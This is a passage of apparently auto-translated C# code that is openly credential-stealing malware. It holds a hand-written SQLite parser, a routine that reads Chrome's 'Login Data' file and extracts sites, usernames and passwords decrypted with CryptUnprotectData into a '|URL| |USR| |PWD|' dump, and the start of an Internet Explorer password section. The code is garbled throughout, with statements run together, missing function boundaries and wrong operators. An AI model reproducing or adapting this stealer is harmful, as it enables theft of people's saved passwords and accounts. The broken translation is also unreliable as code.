  736.                     for (int i = 0; (i
  737.                                 <= (columnCount - 1)); i++) {
  738.                         columnType = sqlite3_column_type(statement, i);
  739.                         switch (columnType) {
  740.                             case int.Parse(SQLiteDataTypes.INT):
  741.                                 if (true) {
  742.                                     columnValues[i] = sqlite3_column_int(statement, i);
  743.                                     break;
  744.                                 }
  745.                                
  746.                                 break;
  747.                             case int.Parse(SQLiteDataTypes.FLOAT):
  748.                                 if (true) {
  749.                                     columnValues[i] = sqlite3_column_double(statement, i);
  750.                                     break;
  751.                                 }
  752.                                
  753.                                 break;
  754.                             case int.Parse(SQLiteDataTypes.TEXT):
  755.                                 if (true) {
  756.                                     columnValues[i] = PointerToString(sqlite3_column_text(statement, i));
  757.                                     break;
  758.                                 }
  759.                                
  760.                                 break;
  761.                             case int.Parse(SQLiteDataTypes.BLOB):
  762.                                 if (true) {
  763.                                     columnValues[i] = PointerToString(sqlite3_column_blob(statement, i));
  764.                                     break;
  765.                                 }
  766.                                
  767.                                 break;
  768.                         }
  769.                     }
  770.                    
  771.                     table.Rows.Add(columnValues);
  772.                     return sqlite3_step(statement);
  773.                     ((IntPtr)(StringToPointer(((String)(str)))));
  774.                     if ((str == null)) {
  775.                         return IntPtr.Zero;
  776.                     }
  777.                     else {
  778.                         Encoding encoding__1 = Encoding.UTF8;
  779.                         Byte[] bytes = encoding__1.GetBytes(str);
  780.                         System.UInt32 length = (bytes.Length + 1);
  781.                         IntPtr pointer = HeapAlloc(GetProcessHeap(), 0, ((UInt32)(length)));
  782.                         Marshal.Copy(bytes, 0, pointer, bytes.Length);
  783.                         Marshal.WriteByte(pointer, bytes.Length, 0);
  784.                         return pointer;
  785.                     }
  786.                    
  787.                     ((String)(PointerToString(((IntPtr)(ptr)))));
  788.                     if ((ptr == IntPtr.Zero)) {
  789.                         return null;
  790.                     }
  791.                    
  792.                     Encoding encoding__1 = Encoding.UTF8;
  793.                     int length = GetPointerLenght(ptr);
  794.                     Byte[] bytes = new Byte[] {
  795.                             (length - 1)};
  796.                     Marshal.Copy(ptr, bytes, 0, length);
  797.                     return encoding__1.GetString(bytes, 0, length);
  798.                     ((int)(GetPointerLenght(((IntPtr)(ptr)))));
  799.                     if ((ptr == IntPtr.Zero)) {
  800.                         return 0;
  801.                     }
  802.                    
  803.                     return lstrlen(ptr);
  804.                     // TODO: #End Region ... Warning!!! not translated
  805.                     // TODO: #Region ... Warning!!! not translated
  806.                     Chrome;
  807.                     Gchrome();
  808.                     //   OL += vbNewLine & "###Chrome" & vbNewLine
  809.                     try {
  810.                         string datapath = (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data");
  811.                         object SQLDatabase = new SQLiteHandler(datapath);
  812.                         SQLDatabase.ReadTable("logins");
  813.                         if (File.Exists(datapath)) {
  814.                             string host;
  815.                             string user;
  816.                             string pass;
  817.                             for (i = 0; (i
  818.                                         <= (SQLDatabase.GetRowCount() - 1)); i = (i + 1)) {
  819.                                 host = SQLDatabase.GetValue(i, "origin_url");
  820.                                 user = SQLDatabase.GetValue(i, "username_value");
  821.                                 pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")));
  822.                                 if (((user != "")
  823.                                             && (pass != ""))) {
  824.                                     OL = (OL + ("|URL| "
  825.                                                 + (host + ("\r\n" + ("|USR| "
  826.                                                 + (user + ("\r\n" + ("|PWD| "
  827.                                                 + (pass + "\r\n")))))))));
  828.                                 }
  829.                                
  830.                             }
  831.                            
  832.                         }
  833.                        
  834.                     }
  835.                     catch (Exception ex) {
  836.                     }
  837.                    
  838.                     ((bool)(CryptUnprotectData(ref ((DATA_BLOB)(pDataIn)), ((string)(szDataDescr)), ref ((DATA_BLOB)(pOptionalEntropy)), ((IntPtr)(pvReserved)), ref ((CRYPTPROTECT_PROMPTSTRUCT)(pPromptStruct)), ((int)(dwFlags)), ref ((DATA_BLOB)(pDataOut)))));
  839.                     // TODO: Labeled Arguments not supported. Argument: 2 := 'SetLastError'
  840.                     // TODO: Labeled Arguments not supported. Argument: 3 := 'CharSet'
  841.                     (Flags[] > Enum);
  842.                     CryptProtectPromptFlags;
  843.                     CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1;
  844.                     CRYPTPROTECT_PROMPT_ON_PROTECT = 2;
  845.                     CRYPTPROTECT_PROMPTSTRUCT;
  846.                     // TODO: Labeled Arguments not supported. Argument: 2 := 'CharSet'
  847.                     ((int)(cbSize));
  848.                     ((CryptProtectPromptFlags)(dwPromptFlags));
  849.                     ((IntPtr)(hwndApp));
  850.                     ((string)(szPrompt));
  851.                     DATA_BLOB;
  852.                     // TODO: Labeled Arguments not supported. Argument: 2 := 'CharSet'
  853.                     ((int)(cbData));
  854.                     ((IntPtr)(pbData));
  855.                     ((string)(Decrypt(((byte)(Datas())))));
  856.                     DATA_BLOB inj;
  857.                     DATA_BLOB Ors = new DATA_BLOB();
  858.                     GCHandle Ghandle = GCHandle.Alloc(Datas, GCHandleType.Pinned);
  859.                     inj.pbData = Ghandle.AddrOfPinnedObject();
  860.                     inj.cbData = Datas.Length;
  861.                     Ghandle.Free();
  862.                     CryptUnprotectData(inj, null, null, null, null, 0, Ors);
  863.                     byte[] Returned = new byte[] {
  864.                             Ors.cbData};
  865.                     Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData);
  866.                     string TheString = Encoding.Default.GetString(Returned);
  867.                     return TheString.Substring(0, (TheString.Length - 1));
  868.                     SQLiteHandler;
  869.                     ((byte)(db_bytes()));
  870.                     ((UInt16)(page_size));
  871.                     ((UInt64)(encoding));
  872.                     ((sqlite_master_entry)(master_table_entries()));
  873.                     ((byte)(SQLDataTypeSize())) = new byte[] {
  874.                             0,
  875.                             1,
  876.                             2,
  877.                             3,
  878.                             4,
  879.                             6,
  880.                             8,
  881.                             8,
  882.                             0,
  883.                             0};
  884.                     ((table_entry)(table_entries()));
  885.                     ((string)(field_names()));
  886.                     record_header_field;
  887.                     Int64 size;
  888.                     Int64 type;
  889.                     table_entry;
  890.                     Int64 row_id;
  891.                     string[] content;
  892.                     sqlite_master_entry;
  893.                     Int64 row_id;
  894.                     string item_type;
  895.                     string item_name;
  896.                     string astable_name;
  897.                     Int64 root_num;
  898.                     string sql_statement;
  899.                     ((UInt16)(ToBigEndian16Bit(((UInt16)(value)))));
  900.                     return ShiftLeft((value && 255), ShiftRight((8
  901.                                         || (value && 65280)), 8));
  902.                     ((UInt32)(ToBigEndian32Bit(((UInt32)(value)))));
  903.                     return ShiftLeft((value && 255), ShiftLeft((24
  904.                                         | (value && 65280)), ShiftRight((8
  905.                                             | (value && 16711680)), ShiftRight((8
  906.                                                 | (value && 4278190080)), 24))));
  907.                     ((UInt64)(ToBigEndian64Bit(((UInt64)(value)))));
  908.                     return;
  909.                     56;
  910.                     // Needs BigEndian
  911.                     // GetVariableLength
  912.                     //  returns the endindex of an variable length integer
  913.                     ((int)(GVL(((int)(startIndex)))));
  914.                     if ((startIndex > db_bytes.Length)) {
  915.                         return null;
  916.                     }
  917.                    
  918.                     for (i = startIndex; (i
  919.                                 <= (startIndex + 8)); i = (i + 1)) {
  920.                         if ((i
  921.                                     > (db_bytes.Length - 1))) {
  922.                             return null;
  923.                         }
  924.                         else if (((db_bytes(i) && 128)
  925.                                     != 128)) {
  926.                             return i;
  927.                         }
  928.                        
  929.                     }
  930.                    
  931.                     return (startIndex + 8);
  932.                     //  Eingaberichtung BigEndian
  933.                     //  ConvertVariableLength
  934.                     ((Int64)(CVL(((int)(startIndex)), ((int)(endIndex)))));
  935.                     endIndex = (endIndex + 1);
  936.                     byte[,] retus;
  937.                     object Length = (endIndex - startIndex);
  938.                     bool Bit64 = false;
  939.                     if (((Length == 0)
  940.                                 || (Length > 9))) {
  941.                         return null;
  942.                     }
  943.                    
  944.                     if ((Length == 1)) {
  945.                         retus[0] = (db_bytes(startIndex) && 127);
  946.                         return BitConverter.ToInt64(retus, 0);
  947.                     }
  948.                    
  949.                     if ((Length == 9)) {
  950.                         //  Ein Byte wird n?mlich grad hinzugef�gt
  951.                         Bit64 = true;
  952.                     }
  953.                    
  954.                     int j = 1;
  955.                     int k = 7;
  956.                     int y = 0;
  957.                     if (Bit64) {
  958.                         retus[0] = db_bytes((endIndex - 1));
  959.                         endIndex = (endIndex - 1);
  960.                         y = 1;
  961.                     }
  962.                    
  963.                     for (i = (endIndex - 1); (i <= startIndex); i = (i + -1)) {
  964.                         if (((i - 1)
  965.                                     >= startIndex)) {
  966.                             retus[y] = ((ShiftRight(db_bytes(i), (j - 1)) && ShiftRight(255, j))
  967.                                         | ShiftLeft(db_bytes((i - 1)), k));
  968.                             j = (j + 1);
  969.                             y = (y + 1);
  970.                             k = (k - 1);
  971.                         }
  972.                         else {
  973.                             if (!Bit64) {
  974.                                 retus[y] = (ShiftRight(db_bytes(i), (j - 1)) && ShiftRight(255, j));
  975.                             }
  976.                            
  977.                             return BitConverter.ToInt64(retus, 0);
  978.                         }
  979.                        
  980.                         // Checks if a number is odd
  981.                         ((bool)(IsOdd(((Int64)(value)))));
  982.                         return;
  983.                         // Big Endian Conversation
  984.                         ((UInt64)(ConvertToInteger(((int)(startIndex)), ((int)(Size)))));
  985.                         if (((Size > 8)
  986.                                     || (Size == 0))) {
  987.                             return null;
  988.                         }
  989.                        
  990.                         UInt64 retVal = 0;
  991.                         for (i = 0; (i
  992.                                     <= (Size - 1)); i = (i + 1)) {
  993.                             retVal = (ShiftLeft(retVal, 8) || db_bytes((startIndex + i)));
  994.                         }
  995.                        
  996.                         return retVal;
  997.                         ReadMasterTable(((UInt64)(Offset)));
  998.                         if ((db_bytes(Offset) == 13)) {
  999.                             // Leaf node
  1000.                             // Length for setting the array length for the entries
  1001.                             UInt16 Length = (ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + 3))) - 1);
  1002.                             int ol = 0;
  1003.                             if (!(master_table_entries == null)) {
  1004.                                 ol = (master_table_entries.Length - 1);
  1005.                                 object Preserve;
  1006.                                 master_table_entries(((master_table_entries.Length - 1)
  1007.                                                 + Length));
  1008.                             }
  1009.                             else {
  1010.                                 object master_table_entries;
  1011.                             }
  1012.                            
  1013.                             UInt64 ent_offset;
  1014.                             for (i = 0; (i <= Length); i = (i + 1)) {
  1015.                                 ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + (8
  1016.                                                     + (i * 2)))));
  1017.                                 if ((Offset != 100)) {
  1018.                                     ent_offset = (ent_offset + Offset);
  1019.                                 }
  1020.                                
  1021.                                 // Table Cell auslesen
  1022.                                 object t = GVL(ent_offset);
  1023.                                 Int64 size = CVL(ent_offset, t);
  1024.                                 object s = GVL((ent_offset
  1025.                                                 + ((t - ent_offset)
  1026.                                                 + 1)));
  1027.                                 master_table_entries[(ol + i)].row_id = CVL((ent_offset
  1028.                                                 + ((t - ent_offset)
  1029.                                                 + 1)), s);
  1030.                                 // Table Content
  1031.                                 // Resetting the offset
  1032.                                 ent_offset = (ent_offset
  1033.                                             + ((s - ent_offset)
  1034.                                             + 1));
  1035.                                 // Now get to the Record Header
  1036.                                 t = GVL(ent_offset);
  1037.                                 s = t;
  1038.                                 Int64 Rec_Header_Size = CVL(ent_offset, t);
  1039.                                 // Record Header Length
  1040.                                 Int64[,] Field_Size;
  1041.                                 // Now get the field sizes and fill in the Values
  1042.                                 for (j = 0; (j <= 4); j = (j + 1)) {
  1043.                                     t = (s + 1);
  1044.                                     s = GVL(t);
  1045.                                     Field_Size[j] = CVL(t, s);
  1046.                                     if ((Field_Size[j] > 9)) {
  1047.                                         if (IsOdd(Field_Size[j])) {
  1048.                                             Field_Size[j] = ((Field_Size[j] - 13)
  1049.                                                         / 2);
  1050.                                         }
  1051.                                         else {
  1052.                                             Field_Size[j] = ((Field_Size[j] - 12)
  1053.                                                         / 2);
  1054.                                         }
  1055.                                        
  1056.                                     }
  1057.                                     else {
  1058.                                         Field_Size[j] = SQLDataTypeSize(Field_Size[j]);
  1059.                                     }
  1060.                                    
  1061.                                 }
  1062.                                
  1063.                                 //  Wir lesen nur unbedingt notwendige Sachen aus
  1064.                                 if ((encoding == 1)) {
  1065.                                     master_table_entries[(ol + i)].item_type = System.Text.Encoding.Default.GetString(db_bytes, (ent_offset + Rec_Header_Size), Field_Size[0]);
  1066.                                 }
  1067.                                 else if ((encoding == 2)) {
  1068.                                     master_table_entries[(ol + i)].item_type = System.Text.Encoding.Unicode.GetString(db_bytes, (ent_offset + Rec_Header_Size), Field_Size[0]);
  1069.                                 }
  1070.                                 else if ((encoding == 3)) {
  1071.                                     master_table_entries[(ol + i)].item_type = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, (ent_offset + Rec_Header_Size), Field_Size[0]);
  1072.                                 }
  1073.                                
  1074.                                 if ((encoding == 1)) {
  1075.                                     master_table_entries[(ol + i)].item_name = System.Text.Encoding.Default.GetString(db_bytes, (ent_offset
  1076.                                                     + (Rec_Header_Size + Field_Size[0])), Field_Size[1]);
  1077.                                 }
  1078.                                 else if ((encoding == 2)) {
  1079.                                     master_table_entries[(ol + i)].item_name = System.Text.Encoding.Unicode.GetString(db_bytes, (ent_offset
  1080.                                                     + (Rec_Header_Size + Field_Size[0])), Field_Size[1]);
  1081.                                 }
  1082.                                 else if ((encoding == 3)) {
  1083.                                     master_table_entries[(ol + i)].item_name = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, (ent_offset
  1084.                                                     + (Rec_Header_Size + Field_Size[0])), Field_Size[1]);
  1085.                                 }
  1086.                                
  1087.                                 // master_table_entries(ol + i).astable_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1), Field_Size(2))
  1088.                                 master_table_entries[(ol + i)].root_num = ConvertToInteger((ent_offset
  1089.                                                 + (Rec_Header_Size
  1090.                                                 + (Field_Size[0]
  1091.                                                 + (Field_Size[1] + Field_Size[2])))), Field_Size[3]);
  1092.                                 if ((encoding == 1)) {
  1093.                                     master_table_entries[(ol + i)].sql_statement = System.Text.Encoding.Default.GetString(db_bytes, (ent_offset
  1094.                                                     + (Rec_Header_Size
  1095.                                                     + (Field_Size[0]
  1096.                                                     + (Field_Size[1]
  1097.                                                     + (Field_Size[2] + Field_Size[3]))))), Field_Size[4]);
  1098.                                 }
  1099.                                 else if ((encoding == 2)) {
  1100.                                     master_table_entries[(ol + i)].sql_statement = System.Text.Encoding.Unicode.GetString(db_bytes, (ent_offset
  1101.                                                     + (Rec_Header_Size
  1102.                                                     + (Field_Size[0]
  1103.                                                     + (Field_Size[1]
  1104.                                                     + (Field_Size[2] + Field_Size[3]))))), Field_Size[4]);
  1105.                                 }
  1106.                                 else if ((encoding == 3)) {
  1107.                                     master_table_entries[(ol + i)].sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, (ent_offset
  1108.                                                     + (Rec_Header_Size
  1109.                                                     + (Field_Size[0]
  1110.                                                     + (Field_Size[1]
  1111.                                                     + (Field_Size[2] + Field_Size[3]))))), Field_Size[4]);
  1112.                                 }
  1113.                                
  1114.                             }
  1115.                            
  1116.                         }
  1117.                         else if ((db_bytes(Offset) == 5)) {
  1118.                             // internal node
  1119.                             UInt16 Length = (ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + 3))) - 1);
  1120.                             UInt16 ent_offset;
  1121.                             for (i = 0; (i <= Length); i = (i + 1)) {
  1122.                                 ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + (12
  1123.                                                     + (i * 2)))));
  1124.                                 if ((Offset == 100)) {
  1125.                                     ReadMasterTable(((ConvertToInteger(ent_offset, 4) - 1)
  1126.                                                     * page_size));
  1127.                                 }
  1128.                                 else {
  1129.                                     ReadMasterTable(((ConvertToInteger((Offset + ent_offset), 4) - 1)
  1130.                                                     * page_size));
  1131.                                 }
  1132.                                
  1133.                             }
  1134.                            
  1135.                             ReadMasterTable(((ConvertToInteger((Offset + 8), 4) - 1)
  1136.                                             * page_size));
  1137.                         }
  1138.                        
  1139.                         ((bool)(ReadTableFromOffset(((UInt64)(Offset)))));
  1140.                         if ((db_bytes(Offset) == 13)) {
  1141.                             // Leaf node
  1142.                             // Length for setting the array length for the entries
  1143.                             UInt16 Length = (ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + 3))) - 1);
  1144.                             int ol = 0;
  1145.                             if (!(table_entries == null)) {
  1146.                                 ol = (table_entries.Length - 1);
  1147.                                 object Preserve;
  1148.                                 table_entries(((table_entries.Length - 1)
  1149.                                                 + Length));
  1150.                             }
  1151.                             else {
  1152.                                 object table_entries;
  1153.                             }
  1154.                            
  1155.                             UInt64 ent_offset;
  1156.                             for (i = 0; (i <= Length); i = (i + 1)) {
  1157.                                 ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + (8
  1158.                                                     + (i * 2)))));
  1159.                                 if ((Offset != 100)) {
  1160.                                     ent_offset = (ent_offset + Offset);
  1161.                                 }
  1162.                                
  1163.                                 // Table Cell auslesen
  1164.                                 object t = GVL(ent_offset);
  1165.                                 Int64 size = CVL(ent_offset, t);
  1166.                                 object s = GVL((ent_offset
  1167.                                                 + ((t - ent_offset)
  1168.                                                 + 1)));
  1169.                                 table_entries[(ol + i)].row_id = CVL((ent_offset
  1170.                                                 + ((t - ent_offset)
  1171.                                                 + 1)), s);
  1172.                                 // Table Content
  1173.                                 // Resetting the offset
  1174.                                 ent_offset = (ent_offset
  1175.                                             + ((s - ent_offset)
  1176.                                             + 1));
  1177.                                 // Now get to the Record Header
  1178.                                 t = GVL(ent_offset);
  1179.                                 s = t;
  1180.                                 Int64 Rec_Header_Size = CVL(ent_offset, t);
  1181.                                 // Record Header Length
  1182.                                 record_header_field[] Field_Size;
  1183.                                 Int64 size_read = ((ent_offset - t)
  1184.                                             + 1);
  1185.                                 object j = 0;
  1186.                                 // Now get the field sizes and fill in the Values
  1187.                                 while ((size_read < Rec_Header_Size)) {
  1188.                                     object Preserve;
  1189.                                     Field_Size[j];
  1190.                                     t = (s + 1);
  1191.                                     s = GVL(t);
  1192.                                     Field_Size[j].type = CVL(t, s);
  1193.                                     if ((Field_Size[j].type > 9)) {
  1194.                                         if (IsOdd(Field_Size[j].type)) {
  1195.                                             Field_Size[j].size = ((Field_Size[j].type - 13)
  1196.                                                         / 2);
  1197.                                         }
  1198.                                         else {
  1199.                                             Field_Size[j].size = ((Field_Size[j].type - 12)
  1200.                                                         / 2);
  1201.                                         }
  1202.                                        
  1203.                                     }
  1204.                                     else {
  1205.                                         Field_Size[j].size = SQLDataTypeSize(Field_Size[j].type);
  1206.                                     }
  1207.                                    
  1208.                                     size_read = (size_read
  1209.                                                 + ((s - t)
  1210.                                                 + 1));
  1211.                                     j = (j + 1);
  1212.                                 }
  1213.                                
  1214.                                 object table_entries;
  1215.                                 content[(Field_Size.Length - 1)];
  1216.                                 int counter = 0;
  1217.                                 for (k = 0; (k
  1218.                                             <= (Field_Size.Length - 1)); k = (k + 1)) {
  1219.                                     if ((Field_Size[k].type > 9)) {
  1220.                                         if (!IsOdd(Field_Size[k].type)) {
  1221.                                             if ((encoding == 1)) {
  1222.                                                 table_entries[(ol + i)].content(k) = System.Text.Encoding.Default.GetString(db_bytes, (ent_offset
  1223.                                                                 + (Rec_Header_Size + counter)), Field_Size[k].size);
  1224.                                             }
  1225.                                             else if ((encoding == 2)) {
  1226.                                                 table_entries[(ol + i)].content(k) = System.Text.Encoding.Unicode.GetString(db_bytes, (ent_offset
  1227.                                                                 + (Rec_Header_Size + counter)), Field_Size[k].size);
  1228.                                             }
  1229.                                             else if ((encoding == 3)) {
  1230.                                                 table_entries[(ol + i)].content(k) = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, (ent_offset
  1231.                                                                 + (Rec_Header_Size + counter)), Field_Size[k].size);
  1232.                                             }
  1233.                                            
  1234.                                         }
  1235.                                         else {
  1236.                                             table_entries[(ol + i)].content(k) = System.Text.Encoding.Default.GetString(db_bytes, (ent_offset
  1237.                                                             + (Rec_Header_Size + counter)), Field_Size[k].size);
  1238.                                         }
  1239.                                        
  1240.                                     }
  1241.                                     else {
  1242.                                         table_entries[(ol + i)].content(k) = ConvertToInteger((ent_offset
  1243.                                                         + (Rec_Header_Size + counter)), Field_Size[k].size).ToString();
  1244.                                     }
  1245.                                    
  1246.                                     counter = (counter + Field_Size[k].size);
  1247.                                 }
  1248.                                
  1249.                             }
  1250.                            
  1251.                         }
  1252.                         else if ((db_bytes(Offset) == 5)) {
  1253.                             // internal node
  1254.                             UInt16 Length = (ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + 3))) - 1);
  1255.                             UInt16 ent_offset;
  1256.                             for (i = 0; (i <= Length); i = (i + 1)) {
  1257.                                 ent_offset = ToBigEndian16Bit(BitConverter.ToUInt16(db_bytes, (Offset + (12
  1258.                                                     + (i * 2)))));
  1259.                                 ReadTableFromOffset(((ConvertToInteger((Offset + ent_offset), 4) - 1)
  1260.                                                 * page_size));
  1261.                             }
  1262.                            
  1263.                             ReadTableFromOffset(((ConvertToInteger((Offset + 8), 4) - 1)
  1264.                                             * page_size));
  1265.                         }
  1266.                        
  1267.                         return true;
  1268.                         //  Reads a complete table with all entries in it
  1269.                         ((bool)(ReadTable(((string)(TableName)))));
  1270.                         //  First loop through sqlite_master and look if table exists
  1271.                         int found = -1;
  1272.                         for (i = 0; (i <= master_table_entries.Length); i = (i + 1)) {
  1273.                             if ((master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)) {
  1274.                                 found = i;
  1275.                                 break;
  1276.                             }
  1277.                            
  1278.                         }
  1279.                        
  1280.                         if ((found == -1)) {
  1281.                             return false;
  1282.                         }
  1283.                        
  1284.                         object fields = master_table_entries[found].sql_statement.Substring((master_table_entries[found].sql_statement.IndexOf("(") + 1)).Split(",");
  1285.                         for (i = 0; (i
  1286.                                     <= (fields.Length - 1)); i = (i + 1)) {
  1287.                             fields[i] = fields[i].TrimStart();
  1288.                             object index = fields[i].IndexOf(" ");
  1289.                             if ((index > 0)) {
  1290.                                 fields[i] = fields[i].Substring(0, index);
  1291.                             }
  1292.                            
  1293.                             if ((fields[i].IndexOf("UNIQUE") == 0)) {
  1294.                                 break;
  1295.                             }
  1296.                             else {
  1297.                                 object Preserve;
  1298.                                 field_names(i);
  1299.                                 field_names(i) = fields[i];
  1300.                             }
  1301.                            
  1302.                         }
  1303.                        
  1304.                         return ReadTableFromOffset(((master_table_entries[found].root_num - 1)
  1305.                                         * page_size));
  1306.                         //  Returns the row count of current table
  1307.                         ((int)(GetRowCount()));
  1308.                         return table_entries.Length;
  1309.                         //  Returns a Value from current table in row row_num with field number field
  1310.                         ((string)(GetValue(((int)(row_num)), ((int)(field)))));
  1311.                         if ((row_num >= table_entries.Length)) {
  1312.                             return null;
  1313.                         }
  1314.                        
  1315.                         if ((field >= table_entries[row_num].content.Length)) {
  1316.                             return null;
  1317.                         }
  1318.                        
  1319.                         return table_entries[row_num].content(field);
  1320.                         //  Returns a Value from current table in row row_num with field name field
  1321.                         ((string)(GetValue(((int)(row_num)), ((string)(field)))));
  1322.                         int found = -1;
  1323.                         for (i = 0; (i <= field_names.Length); i = (i + 1)) {
  1324.                             if ((field_names(i).ToLower().CompareTo(field.ToLower()) == 0)) {
  1325.                                 found = i;
  1326.                                 break;
  1327.                             }
  1328.                            
  1329.                         }
  1330.                        
  1331.                         if ((found == -1)) {
  1332.                             return null;
  1333.                         }
  1334.                        
  1335.                         return GetValue(row_num, found);
  1336.                         //  Returns a String-Array with all Tablenames
  1337.                         ((string[])(GetTableNames()));
  1338.                         string[] retVal;
  1339.                         object arr = 0;
  1340.                         for (i = 0; (i
  1341.                                     <= (master_table_entries.Length - 1)); i = (i + 1)) {
  1342.                             if ((master_table_entries[i].item_type == "table")) {
  1343.                                 object Preserve;
  1344.                                 retVal[arr];
  1345.                                 retVal[arr] = master_table_entries[i].item_name;
  1346.                                 arr = (arr + 1);
  1347.                             }
  1348.                            
  1349.                         }
  1350.                        
  1351.                         return retVal;
  1352.                         //  Constructor
  1353.                         ((string)(baseName));
  1354.                         // Page Number n is page_size*(n-1)
  1355.                         if (File.Exists(baseName)) {
  1356.                             FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
  1357.                             string asi = Space(LOF(1));
  1358.                             FileGet(1, asi);
  1359.                             FileClose(1);
  1360.                             db_bytes = System.Text.Encoding.Default.GetBytes(asi);
  1361.                             if ((System.Text.Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)) {
  1362.                                 //    Throw New Exception("Not a valid SQLite 3 Database File")
  1363.                                 return;
  1364.                             }
  1365.                            
  1366.                             if ((db_bytes(52) != 0)) {
  1367.                                 //   Throw New Exception("Auto-vacuum capable database is not supported")
  1368.                                 return;
  1369.                             }
  1370.                             else if ((ToBigEndian32Bit(BitConverter.ToInt32(db_bytes, 44)) >= 4)) {
  1371.                                 //   Throw New Exception("No supported Schema layer file-format")
  1372.                                 return;
  1373.                             }
  1374.                            
  1375.                             page_size = ConvertToInteger(16, 2);
  1376.                             encoding = ConvertToInteger(56, 4);
  1377.                             if ((encoding == 0)) {
  1378.                                 encoding = 1;
  1379.                             }
  1380.                            
  1381.                             // Now we read the sqlite_master table
  1382.                             // Offset is 100 in first page
  1383.                             ReadMasterTable(100);
  1384.                         }
  1385.                        
  1386.                         // TODO: #End Region ... Warning!!! not translated
  1387.                         // TODO: #Region ... Warning!!! not translated
  1388.                         CIE7Passwords;
  1389.                         const int ERROR_CACHE_FIND_FAIL = 0;
  1390.                         const int ERROR_CACHE_FIND_SUCCESS = 1;
  1391.                         const int MAX_PATH = 260;
  1392.                         const int MAX_CACHE_ENTRY_INFO_SIZE = 4096;
  1393.                         const int NORMAL_CACHE_ENTRY = 1;
  1394.                         const int URLHISTORY_CACHE_ENTRY = 2097152;
  1395.                         SYSTEMTIME;
  1396.                         short wYear;
  1397.                         short wMonth;
  1398.                         short wDayOfWeek;
  1399.                         short wDay;
  1400.                         short wHour;
  1401.                         short wMinute;
  1402.                         short wSecond;
  1403.                         short wMilliseconds;
  1404.                         INTERNET_CACHE_ENTRY_INFO;
  1405.                         int dwStructSize;
  1406.                         int lpszSourceUrlName;
  1407.                         int lpszLocalFileName;
  1408.                         int CacheEntryType;
  1409.                         int dwUseCount;
  1410.                         int dwHitRate;
  1411.                         int dwSizeLow;
  1412.                         int dwSizeHigh;
  1413.                         FILETIME LastModifiedTime;
  1414.                         FILETIME ExpireTime;
  1415.                         FILETIME LastAccessTime;
  1416.                         FILETIME LastSyncTime;
  1417.                         int lpHeaderInfo;
  1418.                         int dwHeaderInfoSize;
  1419.                         int lpszFileExtension;
  1420.                         int dwExemptDelta;
  1421.                         FindFirstUrlCacheEntry;
  1422.                         "wininet.dll";
  1423.                         ((int)("FindFirstUrlCacheEntryA"[((string)(lpszUrlSearchPattern)), ((IntPtr)(lpFirstCacheEntryInfo)), ref ((int)(lpdwFirstCacheEntryInfoBufferSize))]));
  1424.                         FindNextUrlCacheEntry;
  1425.                         "wininet.dll";
  1426.                         ((int)("FindNextUrlCacheEntryA"[((int)(hEnum)), ((IntPtr)(lpFirstCacheEntryInfo)), ref ((int)(lpdwFirstCacheEntryInfoBufferSize))]));
  1427.                         FindCloseUrlCache;
  1428.                         ((int)("wininet.dll"[((int)(hEnumHandle))]));
  1429.                         lstrlenA;
  1430.                         ((int)("kernel32.dll"[((IntPtr)(lpString))]));
  1431.                         lstrcpyA;
  1432.                         ((int)("kernel32.dll"[((string)(RetVal)), ((int)(ptr))]));
  1433.                         const int PROV_RSA_FULL = 1;
  1434.                         const int ALG_CLASS_HASH = (4 * long.Parse((2 | 13)));
  1435.                         // TODO: Warning!!! The operator should be an XOR ^ instead of an OR, but not available in CodeDOM
  1436.                         const int ALG_TYPE_ANY = 0;
  1437.                         const int ALG_SID_SHA = 4;
  1438.                         const int CALG_SHA = (ALG_CLASS_HASH
  1439.                                     || (ALG_TYPE_ANY || ALG_SID_SHA));
  1440.                         const int AT_SIGNATURE = 2;
  1441.                         CryptAcquireContext;
  1442.                         "advapi32.dll";
  1443.                         ((int)("CryptAcquireContextA"[ref ((int)(phProv)), ((int)(pszContainer)), ((string)(pszProvider)), ((int)(dwProvType)), ((int)(dwFlags))]));
  1444.                         CryptCreateHash;
  1445.                         ((int)("advapi32.dll"[((int)(hProv)), ((int)(Algid)), ((int)(hKey)), ((int)(dwFlags)), ref ((int)(phHash))]));
  1446.                         CryptHashData;
  1447.                         ((int)("advapi32.dll"[((int)(hHash)), ((IntPtr)(pbData)), ((int)(dwDataLen)), ((int)(dwFlags))]));
  1448.                         const int HP_HASHVAL = 2;
  1449.                         CryptGetHashParam;
  1450.                         ((int)("advapi32.dll"[((int)(hHash)), ((int)(dwParam)), ((IntPtr)(pByte)), ref ((int)(pdwDataLen)), ((int)(dwFlags))]));
  1451.                         CryptGetHashParam;
  1452.                         ((int)("advapi32.dll"[((int)(hHash)), ((int)(dwParam)), <, MarshalAs(UnmanagedType.LPArrayUnknownGreater, ref ((byte)(pByte())), ref ((int)(pdwDataLen)), ((int)(dwFlags))]));
  1453.                         CryptSignHash;
  1454.                         "advapi32.dll";
  1455.                         ((int)("CryptSignHashA"[((int)(hHash)), ((int)(dwKeySpec)), ((int)(sDescription)), ((int)(dwFlags)), ((int)(pbSignature)), ref ((int)(pdwSigLen))]));
  1456.                         CryptDestroyHash;
  1457.                         ((int)("advapi32.dll"[((int)(hHash))]));
  1458.                         CryptReleaseContext;
